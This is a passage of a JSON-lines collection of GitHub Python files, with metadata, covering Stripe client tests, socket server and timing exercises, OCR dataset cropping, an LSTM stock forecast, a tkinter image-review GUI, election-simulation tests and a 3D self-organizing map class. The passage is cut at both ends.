aiostripe.FileUpload.list()\n\n        self.requestor_mock.request.assert_called_with('get', '/v1/files',\n                                                       {})\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"cypreess/aiostripe","sub_path":"aiostripe/test/resources/test_file_uploads.py","file_name":"test_file_uploads.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21256946982","text":"import re, os\r\n\r\nAreaCodeRegex = re.compile(r'\\d\\d-\\d\\d\\d')\r\n\r\nAreaCodes=[]\r\n\r\nfor filename in os.listdir():\r\n    if filename.endswith('txt'):\r\n        file = open(filename)\r\n        file = file.read()\r\n        mo = AreaCodeRegex.findall(file)\r\n        AreaCodes.append(mo)\r\n\r\nprint(AreaCodes)\r\n       \r\n\r\n","repo_name":"martgrz/Automate-the-Boring-Stuff-with-Python-Projects-Solutions","sub_path":"Chapter 8 Regex Search.py","file_name":"Chapter 8 Regex Search.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42845447836","text":"import multiprocessing\nimport sys\nimport os\nfrom glob import glob\nfrom functools import partial\nsys.path.append(os.getcwd())\nimport fire\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\ndef find_files_with_ext(search_folder, exts=['.JPG', '.jpg', '.png']):\n    all_files = glob(search_folder + '**/**', recursive=True)\n    bag = []\n    if exts:\n        for _ext in exts:\n            bag += [file for file in all_files if file.endswith(_ext)]\n    else:\n        bag = all_files\n    return bag\n\ndef get_all_input_files(source_dir, input_files_types=['.JPG', '.jpg', '.png']):\n    \"\"\"Get the list of images files from the source directory\"\"\"\n    return find_files_with_ext(source_dir, input_files_types)\n\ndef crop_and_save(cords, image, file_path):\n    (x1, x2, y1, y2) = cords\n    cropped_image = image[y1:y2, x1:x2]\n    dest_file = file_path + \".png\"\n    try:\n        plt.imsave(dest_file, cropped_image, cmap='Greys_r')\n        # print('Saved file to {}'.format(dest_file))\n    except:\n        print('>>>>>>>>>>>>>> Missed file to {}'.format(dest_file))\n\n\ndef crop_to_box(image_file_path, destination_dir, text_file_ext):\n    try:\n        gt_text_file_path = image_file_path.replace(\".jpg\", \".txt\")\n        source_image_path = image_file_path\n        file_name = source_image_path.split(\"/\")[-1].split(\".\")[0]\n        if not os.path.exists(destination_dir):\n            os.makedirs(destination_dir)\n        # Open the text file and get all the coordinates\n        with open(gt_text_file_path) as gt_txt_file_pointer:\n            count = 0\n            coords_data = []\n            for line in gt_txt_file_pointer:\n                coords_data.append(line.strip().split(\",\"))\n            for gt_txt_line in coords_data:\n                try:\n                    # print(gt_txt_line)\n                    jpgfile = plt.imread(source_image_path)\n                    # naming convention for the file\n                    out_file_path = destination_dir +\"/\" + file_name + \"_\" + str(count)\n\n                    # x1, y1, _, _, x2, y2, _, _, text = gt_txt_line\n                    x1 = gt_txt_line[0]\n                    y1 = gt_txt_line[1]\n                    x2 = gt_txt_line[4]\n                    y2 = gt_txt_line[5]\n                    text = \"\".join(gt_txt_line[8:])\n                    # call fun with cords and images named convention for the cropped image\n                    crop_and_save((int(x1), int(x2), int(y1), int(y2)), jpgfile, out_file_path)  # (int(x1)-11, int(x2)+11, int(y1)-4, int(y2)+4\n                    count = count + 1\n                    with open(out_file_path+text_file_ext, \"w\") as fd:\n                        fd.write(text)\n                except FileNotFoundError as fnf_error:\n                    print(\"error\", fnf_error)\n    except Exception as e:\n        print(e)\n        print(image_file_path)\n\n\ndef prepare_calamari_dataset_from_icdar(in_path, out_path=\"cropped\", text_file_ext=\".gt.txt\"):\n    in_files = get_all_input_files(source_dir=in_path)\n\n    # pool = multiprocess.Pool()\n    # for file in tqdm(in_files):\n    #     print(file)\n    #     crop_to_box(image_file_path=file, destination_dir=\"cropped\")\n\n    crop_to_box_partial = partial(crop_to_box, destination_dir=out_path, text_file_ext=text_file_ext)\n\n    with multiprocessing.Pool() as p:\n        r = list(tqdm(p.imap(crop_to_box_partial, in_files), total=len(in_files)))\n        # p.map(crop_to_box, in_files)\n        # map list to target function\n        # pool.map(task, multiprocess_list)\n\n        p.close()\n        p.join()\n\nif __name__ == '__main__':\n    fire.Fire(prepare_calamari_dataset_from_icdar)","repo_name":"dhiraa/hyp-demo","sub_path":"icdar/calamari_dataset.py","file_name":"calamari_dataset.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20503399927","text":"#! /usr/bin/env /usr/bin/python\n\n\"\"\"\n    This program demonstrates how threading, processing and sequential call works for\nI/O bound tasks.\n\nEx:\n    python performanceLOCALIO.py threading 15 localhost 25000\n    python performanceLOCALIO.py sequential 15 localhost 25000\n    python performanceLOCALIO.py processing 15 localhost 25000\n--------------------\nBefore running this program needs to run server program : \"perfserver.py\"\n\"\"\"\n\nimport urllib2\nimport time\nimport sys\nimport threading\nimport multiprocessing\nfrom socket import *\n\ndef opener(*args):\n    conn = create_connection(('localhost', 25000))\n    while True:\n        buf = conn.recv(40)\n        if not buf:\n            break\n        sys.stdout.write(buf)\n\n\n\nif __name__ == '__main__':\n\n    if sys.argv[1] == \"sequential\":\n        start = time.time()\n        for i in range(int(sys.argv[2])):\n            opener(sys.argv[3:])\n        print(\"sequential took {0} sec\".format(time.time()-start))\n    elif sys.argv[1] == \"threading\":\n        threads = []\n\n        for i in range(int(sys.argv[2])):\n            threads.append(threading.Thread(target=opener, args=(sys.argv[3:],)))\n\n        start = time.time()\n        for trd in threads:\n            trd.start()\n\n        for trd in threads:\n            trd.join()\n        print(\"threading took {0} sec\".format(time.time()-start))\n    elif sys.argv[1] == \"processing\":\n        procs = []\n\n        for i in range(int(sys.argv[2])):\n            procs.append(multiprocessing.Process(target=opener, args=(sys.argv[3:],)))\n\n        start = time.time()\n        for proc in procs:\n            proc.start()\n\n        for proc in procs:\n            proc.join()\n        print(\"multiprocessing took {0} sec\".format(time.time()-start))\n","repo_name":"uday4a9/python","sub_path":"socket/performanceLOCALIO.py","file_name":"performanceLOCALIO.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"6468416324","text":"import socket\n# we first define the IP and port which are necessary arguments while creating a server or client socket\nHOST = \"192.168.56.1\"\nPORT = 9090\n# then we create the socket. This is done for both client and server sockets\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# then we specify that the socket is a server socket using the following\nserver_socket.bind((HOST, PORT))\n# we can/should also specify the number of queued messages that can be kept waiting\nserver_socket.listen(5)\n# we have now successfully created a server socket above that's binded to a specific HOST and PORT\n# we can now proceed to make it available to accept messages from clients\n\nwhile True:\n    connection_socket, address = server_socket.accept()\n    # the accept() method produces a socket for accepting client messages and the address of the client\n    print(f\"We have successfully connected to {address}\")  # just to show that the connection took place\n    # now we need to make the connection_socket receive messages a message from the client using the recv() method\n    message = connection_socket.recv(1024).decode(\"utf-8\")\n    # we have now created a message variable that stores the received message that comes with a maximum of 1024bytes,\n    # and the bytes received are further decoded to readable string as a utf-8\n    print(f\"The message received by the client is: \\n {message}\")\n    # after receiving the message from the client, we would like to send a confirmation message to the client\n    reply = input(\"Enter the reply message:\\n\")\n    connection_socket.send(f\"{reply}\".encode(\"utf-8\"))\n    print(\"The connection has ended after sending a confirmation message\")\n    connection_socket.close()\n","repo_name":"ramogi4960/Hackerrank-challenges","sub_path":"Socket Programming/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42155591838","text":"from numpy import sin, cos, radians\n\nclass RotatingCamera:\n\tdef __init__(self, CAMRAD, mouse):\n\t\tpi3d=self.getpi3d()\n\t\tself.CAMERA = pi3d.Camera()\n\t\tself.CAMRAD = CAMRAD\n\t\tself.mouserot=0.0\n\t\tself.tilt=15.0\n\t\tself.frame=0\n\t\tself.omx,self.omy=mouse.position()\n\t\t\n\tdef update(self,mouse):\n\t\tself.mx,self.my= mouse.position()\n\t\tself.mouserot -= (self.mx - self.omx) * 0.2\n\t\tself.tilt -= (self.my - self.omy) * 0.1\n\t\tself.omx=self.mx\n\t\tself.omy=self.my\n\t\tself.CAMERA.reset()\n\t\tFIXED=True\n\t\tif(FIXED):\n\t\t\tself.CAMERA.rotate(0,0,0)\n\t\t\tself.CAMERA.position((0,0,-10))\n\t\telse:\n\t\t\tself.CAMERA.rotate(-self.tilt,self.mouserot,0)\n\t\t\tself.CAMERA.position((self.CAMRAD * sin(radians(self.mouserot)) * cos(radians(self.tilt)),\n\t\t\t\t\t\t\t\t  self.CAMRAD * sin(radians(self.tilt)),\n\t\t\t\t\t\t\t\t  -self.CAMRAD * cos(radians(self.mouserot)) * cos(radians(self.tilt))))\n\n\t@staticmethod\n\tdef getpi3d():\n\t\timport sys\n\t\tsys.path.insert(1, '/home/pi/pi3d')\n\t\timport pi3d\n\t\treturn pi3d\n","repo_name":"scottalmond/EscapeRoom","sub_path":"testing/rotatingCamera.py","file_name":"rotatingCamera.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"74211980728","text":"#%%\nimport pandas as pd\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tensorflow import keras\nfrom keras.models import Sequential\nfrom keras.optimizers import Adam\nfrom keras import layers\nfrom copy import deepcopy\n\ndf = pd.read_csv('MSFT.csv')\ndf = df[['Date', 'Close']]\n\ndef str_to_datetime(s):\n  split = s.split('-')\n  year, month, day = int(split[0]), int(split[1]), int(split[2])\n  return datetime.datetime(year=year, month=month, day=day)\n\ndf['Date'] = df['Date'].apply(str_to_datetime) # Apply the function to df['Date'] variable\ndf.index = df.pop('Date') # Replace index with date\n\n# plt.plot(df.index, df['Close'])\n\ndef df_to_windowed_df(dataframe, first_date_str, last_date_str, n=3):\n    first_date = str_to_datetime(first_date_str)\n    last_date  = str_to_datetime(last_date_str)\n\n    # target date for prediction \n    target_date = first_date\n    \n    dates = []\n    X, Y = [], []\n\n    last_time = False\n    while True:\n        df_subset = dataframe.loc[:target_date].tail(n+1)\n        \n        if len(df_subset) != n+1:\n            print(f'Error: Window of size {n} is too large for date {target_date}')\n            return\n\n        values = df_subset['Close'].to_numpy()\n        x, y = values[:-1], values[-1]\n\n        dates.append(target_date)\n        X.append(x)\n        Y.append(y)\n\n        next_week = dataframe.loc[target_date:target_date+datetime.timedelta(days=7)]\n        next_datetime_str = str(next_week.head(2).tail(1).index.values[0])\n        next_date_str = next_datetime_str.split('T')[0]\n        year_month_day = next_date_str.split('-')\n        year, month, day = year_month_day\n        next_date = datetime.datetime(day=int(day), month=int(month), year=int(year))\n        \n        if last_time:\n            break\n        \n        target_date = next_date\n\n        if target_date == last_date:\n            last_time = True\n        \n    ret_df = pd.DataFrame({})\n    ret_df['Target Date'] = dates\n    \n    X = np.array(X)\n    for i in range(0, n):\n        X[:, i]\n        ret_df[f'Target-{n-i}'] = X[:, i]\n    \n    ret_df['Target'] = Y\n\n    return ret_df\n\n# Start day second time around: '2021-03-25'\nwindowed_df = df_to_windowed_df(df, \n                                '2021-03-25', \n                                '2022-03-23', \n                                n=3)\n\n# Convert into numpy array to fit into tensorflow model\ndef windowed_df_to_date_X_y(windowed_dataframe):\n    df_as_np = windowed_dataframe.to_numpy()\n    \n    dates = df_as_np[:, 0]\n    # Values of Target-3 ~ Target-1\n    middle_matrix = df_as_np[:, 1:-1]\n    X = middle_matrix.reshape((len(dates), middle_matrix.shape[1], 1))\n    \n    Y = df_as_np[:, -1]\n    \n    return dates, X.astype(np.float32), Y.astype(np.float32)\n\ndates, X, y = windowed_df_to_date_X_y(windowed_df)\n\n# Training data\nq_80 = int(len(dates) * .8)\nq_90 = int(len(dates) * .9)\ndates_train, X_train, y_train = dates[:q_80], X[:q_80], y[:q_80] # Training data: 0~80% (80%)\ndates_val, X_val, y_val = dates[q_80:q_90], X[q_80:q_90], y[q_80:q_90] # Validation data: 80~90% (10%)\ndates_test, X_test, y_test = dates[q_90:], X[q_90:], y[q_90:] # Testing data: 90~100% (10%)\n\n\"\"\"\nplt.plot(dates_train, y_train)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, y_test)\n\nplt.legend(['Train', 'Validation', 'Test'])\n\"\"\"\n\n# Train the model\nmodel = Sequential([layers.Input((3, 1)), # Input: 3 past days, 1 feature\n                    layers.LSTM(64), # Arbitrary value of neuron\n                    layers.Dense(32, activation='relu'), \n                    layers.Dense(32, activation='relu'),\n                    layers.Dense(1)])\n\nmodel.compile(loss='mse', # Loss function to minimize: mean squared error\n              optimizer=Adam(learning_rate=0.001),\n              metrics=['mean_absolute_error']) # Average error\n\nmodel.fit(X_train, y_train, validation_data=(X_val, y_val), epochs=100)\n\n# Prediction model with training data\ntrain_predictions = model.predict(X_train).flatten()\n# Prediction model with validation data\nval_predictions = model.predict(X_val).flatten()\n# Prediction model with testing data\ntest_predictions = model.predict(X_test).flatten()\n\n# Plot\nplt.plot(dates_train, train_predictions) # Predicted data using past 3 days\nplt.plot(dates_train, y_train) # Actual observation\nplt.plot(dates_val, val_predictions)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, test_predictions)\nplt.plot(dates_test, y_test)\nplt.legend(['Training Predictions', \n            'Training Observations',\n            'Validation Predictions', \n            'Validation Observations',\n            'Testing Predictions', \n            'Testing Observations'])\n# %%\nrecursive_predictions = []\nrecursive_dates = np.concatenate([dates_val, dates_test])\n\nfor target_date in recursive_dates:\n  last_window = deepcopy(X_train[-1])\n  next_prediction = model.predict(np.array([last_window])).flatten()\n  recursive_predictions.append(next_prediction)\n  last_window[-1] = next_prediction\n  \nplt.plot(dates_train, train_predictions)\nplt.plot(dates_train, y_train)\nplt.plot(dates_val, val_predictions)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, test_predictions)\nplt.plot(dates_test, y_test)\nplt.plot(recursive_dates, recursive_predictions)\nplt.legend(['Training Predictions', \n            'Training Observations',\n            'Validation Predictions', \n            'Validation Observations',\n            'Testing Predictions', \n            'Testing Observations',\n            'Recursive Predictions'])","repo_name":"hyunji0618/StockPredictionPy","sub_path":"forecast.py","file_name":"forecast.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8367693580","text":"import threading\nimport tkinter as tk\nfrom tkinter import ttk\n\nfrom PIL import ImageTk, Image, ImageEnhance\n\n\nclass LoadModelWin(tk.Tk):\n\n    def __init__(self):\n        tk.Tk.__init__(self)\n\n        self.title(\"Tree classifier\")\n        self.lift()\n        self.eval('tk::PlaceWindow . center')\n\n        self.master_frame = tk.Frame(self)\n        self.master_frame.rowconfigure(0, minsize=80, weight=1)\n        self.master_frame.columnconfigure([0, 1, 2], minsize=80, weight=1)\n        self.y_pad = 10\n\n        self.frame = tk.Frame(master=self.master_frame, relief=tk.RAISED)\n        self.frame.grid(row=0, column=1, sticky=\"\")\n\n        self.label = tk.Label(master=self.frame, text=\"Loading models, please wait.\")\n        self.label.grid(row=4, column=1, pady=self.y_pad)\n\n        self.progress_bar = ttk.Progressbar(master=self.frame, orient=\"horizontal\", length=150, mode=\"indeterminate\")\n        self.progress_bar.start(10)\n        self.progress_bar.grid(row=5, column=1, pady=10)\n\n        self.frame.grid()\n        self.master_frame.grid()\n\n\nclass ZoomedOutWin(tk.Toplevel):\n\n    def __init__(self, master, pil_img):\n        tk.Toplevel.__init__(self, master=master)\n        self.resizable(False, False)\n        self.title(\"Zoomed out image - Click to close\")\n\n        width, height = pil_img.size\n\n        self.geometry(str(width) + \"x\" + str(height))\n\n        tk_img = ImageTk.PhotoImage(pil_img)\n        img = tk.Label(self, image=tk_img)\n        img.image = tk_img\n\n        btn0 = tk.Button(self, image=tk_img, command=self._close_window)\n        btn0.image = tk_img\n        btn0.place(x=0, y=0)\n\n    def _close_window(self):\n        self.destroy()\n\n\nclass TreeWin(tk.Tk):\n\n    def __init__(self, class_name, tree_list):\n        tk.Tk.__init__(self)\n\n        self.tree_list = tree_list\n        self.class_name = class_name\n        self.remove_count = 0\n\n        self.img_size = 200\n\n        self.columnconfigure(0, weight=1)\n        self.rowconfigure(0, weight=1)\n        self.widget_list = []\n        self.lift()\n\n        self.master_frame = tk.Frame(self)\n        self.master_frame.grid(sticky=tk.NSEW)\n        self.master_frame.columnconfigure(0, weight=1)\n        self.master_frame.rowconfigure(0, weight=1)\n\n        self.label = tk.Label(master=self.master_frame, text=\"Remove trees that are not: \"\n                                                             + class_name + \" | Images left:\"\n                                                             + str(len(self.tree_list)))\n        self.label.config(font=(\"\", 30))\n        self.label.grid(row=0, column=0)\n\n        # Create a frame for the canvas and scrollbar(s).\n        self.scrollbar_frame = tk.Frame(self.master_frame)\n        self.scrollbar_frame.grid(column=0, sticky=tk.NSEW)\n        self.scrollbar_frame.columnconfigure(0, weight=1)\n        self.scrollbar_frame.rowconfigure(0, weight=1)\n\n        # Add a canvas in that frame.\n        self.canvas = tk.Canvas(self.scrollbar_frame)\n        self.canvas.grid(sticky=tk.NSEW)\n        self.canvas.columnconfigure([0, 1, 2], weight=1)\n\n        # Create a vertical scrollbar linked to the canvas.\n        self.scrollbar = tk.Scrollbar(self.scrollbar_frame, orient=tk.VERTICAL, command=self.canvas.yview)\n        self.scrollbar.grid(row=0, column=2, sticky=tk.NSEW)\n        self.canvas.configure(yscrollcommand=self.scrollbar.set)\n\n        self.buttons_frame = tk.Frame(self.canvas, bd=160)\n        self._load_images()\n\n        self.canvas.create_window((0, 0), window=self.buttons_frame, anchor=tk.NW)\n\n        # Needed to make bbox info available.\n        self.buttons_frame.update_idletasks()\n\n        # Get bounding box of canvas with Buttons.\n        self.bbox = self.canvas.bbox(tk.ALL)\n        self.canvas.configure(scrollregion=self.bbox,\n                              width=self.winfo_screenwidth(),\n                              height=self.winfo_screenheight() - 100)\n\n    def _zoom_out(self, tree):\n        \"\"\"\n        Create a zoomed out window for a selected tree.\n        The tree will also be highlighted for easy identification.\n        @param tree: Tree to be zoomed out.\n        \"\"\"\n\n        image_path = tree[0]\n        tree_data = tree[1]\n        x_min, y_min, x_max, y_max = tree_data[0], tree_data[1], tree_data[2], tree_data[3]\n\n        # Open image and mark the tree.\n        main_pil_image = Image.open(image_path)\n        tree_img = main_pil_image.crop((x_min, y_min, x_max, y_max))\n        main_pil_image = ImageEnhance.Brightness(main_pil_image).enhance(0.5)\n        main_pil_image.paste(tree_img, (x_min, y_min, x_max, y_max))\n\n        width, height = main_pil_image.size\n\n        enlarge = 200\n        plus_x = 0\n        plus_y = 0\n\n        # X-corrections\n        if x_min - enlarge < 0:\n            plus_x = enlarge - x_min\n            x_min = 0\n        else:\n            x_min -= 200\n\n        if x_max + enlarge > width:\n            minus_x = (x_max + enlarge) - width\n            x_max = width + plus_x\n            x_min -= minus_x\n        else:\n            x_max += enlarge + plus_x\n\n        # Y-corrections.\n        if y_min - enlarge < 0:\n            plus_y = enlarge - y_min\n            y_min = 0\n        else:\n            y_min -= enlarge\n\n        if y_max + enlarge > height:\n            minus_y = (y_max + enlarge) - height\n            y_max = height + plus_y\n            y_min -= minus_y\n        else:\n            y_max += enlarge + plus_y\n\n        # Create a zoomed out square image.\n        zoom_out_img = main_pil_image.crop((x_min, y_min, x_max, y_max)).resize((500, 500))\n        ZoomedOutWin(master=self, pil_img=zoom_out_img)\n\n    def _load_images(self):\n        \"\"\"\n        Loads all the images into the grid and adds the logic for removal\n        of it graphically and from the tree_list.\n        \"\"\"\n        self.buttons_frame.grid_forget()\n\n        row_index = 1\n        column_index = 0\n        total_trees = 0\n        btn_count = 0\n        btn_list = []\n\n        pil_img_cache = dict()\n\n        for row in self.tree_list:\n\n            image_path = row[0]\n            tree_row = row[1]\n            accuracy = tree_row[5]\n\n            # Skip de-classed trees.\n            if tree_row[4] != self.class_name:\n                continue\n\n            # Add open pil-image to cache for loading.\n            if image_path not in pil_img_cache:\n                pil_img_cache[image_path] = Image.open(image_path)\n\n            min_x, min_y, max_x, max_y = tree_row[0], tree_row[1], tree_row[2], tree_row[3]\n\n            # Image.\n            main_pil_image = pil_img_cache[image_path]\n            pil_img = main_pil_image.crop((min_x, min_y, max_x, max_y)).resize((self.img_size, self.img_size))\n            img = ImageTk.PhotoImage(pil_img)\n            img_frame = tk.Frame(self.buttons_frame)\n            img_frame.grid(row=row_index, column=column_index, sticky=tk.NSEW, padx=0, pady=10)\n\n            # Button.\n            button = tk.Button(img_frame,\n                               relief=tk.RIDGE,\n                               image=img,\n                               width=self.img_size,\n                               height=self.img_size,\n                               command=lambda index=btn_count: self._remove_class(self.tree_list[index]))\n            button.image = img\n            button.grid(row=0, column=0, sticky=tk.NSEW)\n            text = tk.Label(master=img_frame, text=accuracy)\n            text.grid(row=1)\n\n            img_button = tk.Button(img_frame, text=\"Zoom out\",\n                                   command=lambda index=btn_count: self._zoom_out(self.tree_list[index]))\n            img_button.grid(row=2)\n\n            btn_list.append(img_button)\n\n            column_index += 1\n            btn_count += 1\n            self.widget_list.append(img_frame)\n\n            total_trees += 1\n\n            # Rows with 8 trees.\n            if column_index % 8 == 0:\n                column_index = 0\n                row_index += 1\n\n            if total_trees == 16:\n                break\n\n    def _remove_class(self, tree):\n        \"\"\"\n        Removes the class from a selected tree and simply labels it as a \"tree\".\n        Also updates the tree count in the window.\n\n        Format of tree: ['img_path', [0, 392, 50, 479, 'Birch', 75.61432123184204]]\n\n        @param tree: Selected tree to be labeled as \"tree\".\n        \"\"\"\n\n        tree[1][4] = \"Tree\"\n\n        self.tree_list.remove(tree)\n        self.label.config(text=\"Remove trees that are not: \"\n                               + self.class_name + \" | Images left:\"\n                               + str(len(self.tree_list)))\n\n        # Close window when empty.\n        if len(self.tree_list) == 0:\n            self.destroy()\n            return\n\n        for widget in self.buttons_frame.winfo_children():\n            widget.grid_forget()\n\n        self._load_images()\n","repo_name":"jonaselmesten/forest-classifier","sub_path":"gui/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":8810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"30139208627","text":"import socket\nfrom _thread import *\nimport threading\nimport hashlib\nimport os\nimport time\nfrom datetime import date\nfrom datetime import datetime\n\nbuff_size = 1024\n\nport = 8080\n\nconexiones_esperadas = 1\n\nhost = '0.0.0.0'\n\nprint_lock = threading.Lock()\n\nesperando = True\n\narch1 = 'arch1.txt'\n\narch2 = 'arch2.mp4'\n\nclientes = []\n\n#funcion que corre en paralelo para interactuar con los clientes\ndef thread(conn, i):\n    ehlo = conn.recv(1024).decode('ascii')\n    print('El cliente', i, 'se conecto')\n    print(ehlo)\n\n    log = open ('log.txt','a')\n    log.write('\\n'+time.ctime(time.time()))\n    \n\n    conn.send('Que archivo desea?'.encode('ascii'))\n\n    numero_archivo = int.from_bytes(conn.recv(1),'big')\n\n    \n\n    #espera a que todos los clientes esten listos para enviar el archivo\n    while True:\n        if esperando:\n            print('Esperando el numero de clientes')\n        else:\n            break\n\n    tiempo_inicio=time.time()\n\n\n    if numero_archivo == 1:\n        conn.send(len(arch1).to_bytes(4,'big'))\n        conn.send(arch1.encode('ascii')) #envia nombre del archivo\n        conn.send(os.path.getsize(arch1).to_bytes(8,'big')) # envia tamaño del archivo\n        log.write('\\n'+str(arch1)+'-'+str(os.path.getsize(arch1)))\n        f = open(arch1, 'rb')\n\n    if numero_archivo == 2:\n        conn.send(len(arch2).to_bytes(4,'big'))\n        conn.send(arch2.encode('ascii')) #envia nombre del archivo\n        conn.send(os.path.getsize(arch2).to_bytes(8,'big')) # envia tamaño del archivo\n        log.write('\\n'+str(arch2)+'-'+str(os.path.getsize(arch2)))\n        f = open(arch2, 'rb')\n    \n    conn.recv(1024)\n\n    \n\n    # objeto hash\n    h = hashlib.sha1()\n\n    #envia segmentos del archivo\n    seg = f.read(buff_size)\n    while seg:\n        conn.send(seg)\n        h.update(seg) #actualiza el hash\n        seg = f.read(buff_size)\n\n    tiempo_final = round(time.time() - tiempo_inicio,5)\n    time.sleep(1)\n    f.close()\n\n    print('Se envio el archivo al cliente: ', i)\n\n    hash_archivo = h.hexdigest()\n    conn.send(hash_archivo.encode('ascii'))\n    print('se envio el hash del archivo al cliente: ', i)\n    print(hash_archivo)\n    \n    log.write('\\n cliente '+clientes[i-1]+' en tiempo '+str(tiempo_final)+' seg')\n    \n    print(\"El tiempo transcurrido fue: \"+ str(tiempo_final)+\" segundos\")\n    \n    log.close()\n\n    conn.close()\n\n\ndef receive_connections():\n    conexiones = 0\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.bind((host, port))\n    s.listen(5)\n    print('Socket esta escuchando en el puerto: ' + str(port))\n\n    while True:\n        c, addr = s.accept()\n        conexiones += 1\n        print('Conectado con el cliente en: ', addr[0], ':', addr[1])\n        clientes.append(str(conexiones)+'/'+str(addr[0]))\n        start_new_thread(thread, (c,conexiones))\n\n        #avisa que ya hay la cantidad de clientes necesarios para enviar el archivo\n        global esperando\n        esperando =  conexiones < conexiones_esperadas\n        \n    s.close()\n\n\nif __name__ == '__main__':\n    receive_connections()\n\n","repo_name":"mitooos/Lab3Redes","sub_path":"servidor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21717649838","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 10 01:19:07 2020\n\n@author: John\n\"\"\"\nimport os\nimport pdb\nimport votesim\nimport logging\nimport numpy as np\nfrom votesim.benchmarks import tactical\n\nnewdir = 'output'\nnewdir = os.path.join(os.getcwd(), newdir)\nos.makedirs(newdir, exist_ok=True)\nos.chdir(newdir)\n\n\ndef test_model():\n    methods = ['plurality', 'irv', 'score']\n    name = 'tactical-model-1'\n    e = tactical.tactical_model(name, methods, seed=10)\n    df = e.dataframe()\n    return df\n\n\ndef test_benchmark():\n    methods = ['plurality', 'irv', 'score']\n    benchmark = tactical.tactical_dummy()\n    df = benchmark.run(methods, cpus=1,)\n    \n    # test re-run capability\n    e2 = benchmark.rerun(index=0, df=df)\n    \n    # Check to make sure outputs of re-run are the same. \n    s1 = df.loc[0]\n    s2 = e2.dataseries()\n    for key in s2.keys():\n        print(key, '=', s1[key])\n        assert np.all(s1[key] == s2[key])\n    \n    return df\n\n\nif __name__ == '__main__':\n    df1 = test_model()\n    logging.basicConfig()\n    logger = logging.getLogger('votesim.utilities.recorder')\n    logger.setLevel(logging.DEBUG)\n    \n    # try:\n    df2 = test_benchmark()\n    # except Exception:\n    #     pdb.post_mortem()\n    \n","repo_name":"johnh865/election_sim","sub_path":"votesim/benchmarks/tests/test_benchmark_tactical.py","file_name":"test_benchmark_tactical.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"42405656932","text":"from minisom import MiniSom, fast_norm\nfrom numpy import (array, unravel_index, nditer, linalg, random, subtract, max,\n                   power, exp, pi, zeros, ones, arange, outer, meshgrid, dot,\n                   logical_and, mean, std, cov, argsort, linspace, transpose,\n                   einsum, prod, nan, sqrt, hstack, diff, argmin, multiply,\n                   nanmean, nansum)\nfrom numpy.linalg import norm\nfrom warnings import warn\nfrom minisom import asymptotic_decay, _build_iteration_indexes\n\n\n\nclass MiniSom3D(MiniSom):\n    def __init__(self, x, y, z, input_len, sigma=1.0, learning_rate=0.5, decay_function=asymptotic_decay,\n                 neighborhood_function='gaussian', topology='rectangular', activation_distance='euclidean',\n                 random_seed=None):\n        \"\"\"Initializes a Self Organizing Maps.\n\n        A rule of thumb to set the size of the grid for a dimensionality\n        reduction task is that it should contain 5*sqrt(N) neurons\n        where N is the number of samples in the dataset to analyze.\n\n        E.g. if your dataset has 150 samples, 5*sqrt(150) = 61.23\n        hence a map 8-by-8 should perform well.\n\n        Parameters\n        ----------\n        x : int\n            x dimension of the SOM.\n\n        y : int\n            y dimension of the SOM.\n\n        input_len : int\n            Number of the elements of the vectors in input.\n\n        sigma : float, optional (default=1.0)\n            Spread of the neighborhood function, needs to be adequate\n            to the dimensions of the map.\n            (at the iteration t we have sigma(t) = sigma / (1 + t/T)\n            where T is #num_iteration/2)\n        learning_rate : initial learning rate\n            (at the iteration t we have\n            learning_rate(t) = learning_rate / (1 + t/T)\n            where T is #num_iteration/2)\n\n        decay_function : function (default=None)\n            Function that reduces learning_rate and sigma at each iteration\n            the default function is:\n                        learning_rate / (1+t/(max_iterarations/2))\n\n            A custom decay function will need to to take in input\n            three parameters in the following order:\n\n            1. learning rate\n            2. current iteration\n            3. maximum number of iterations allowed\n\n\n            Note that if a lambda function is used to define the decay\n            MiniSom will not be pickable anymore.\n\n        neighborhood_function : string, optional (default='gaussian')\n            Function that weights the neighborhood of a position in the map.\n            Possible values: 'gaussian', 'mexican_hat', 'bubble', 'triangle'\n\n        topology : string, optional (default='rectangular')\n            Topology of the map.\n            Possible values: 'rectangular', 'hexagonal'\n\n        activation_distance : string, callable optional (default='euclidean')\n            Distance used to activate the map.\n            Possible values: 'euclidean', 'cosine', 'manhattan', 'chebyshev'\n\n            Example of callable that can be passed:\n\n            def euclidean(x, w):\n                return linalg.norm(subtract(x, w), axis=-1)\n\n        random_seed : int, optional (default=None)\n            Random seed to use.\n        \"\"\"\n\n        super(MiniSom3D, self).__init__(x, y, input_len, sigma, learning_rate, decay_function, neighborhood_function, topology,\n                         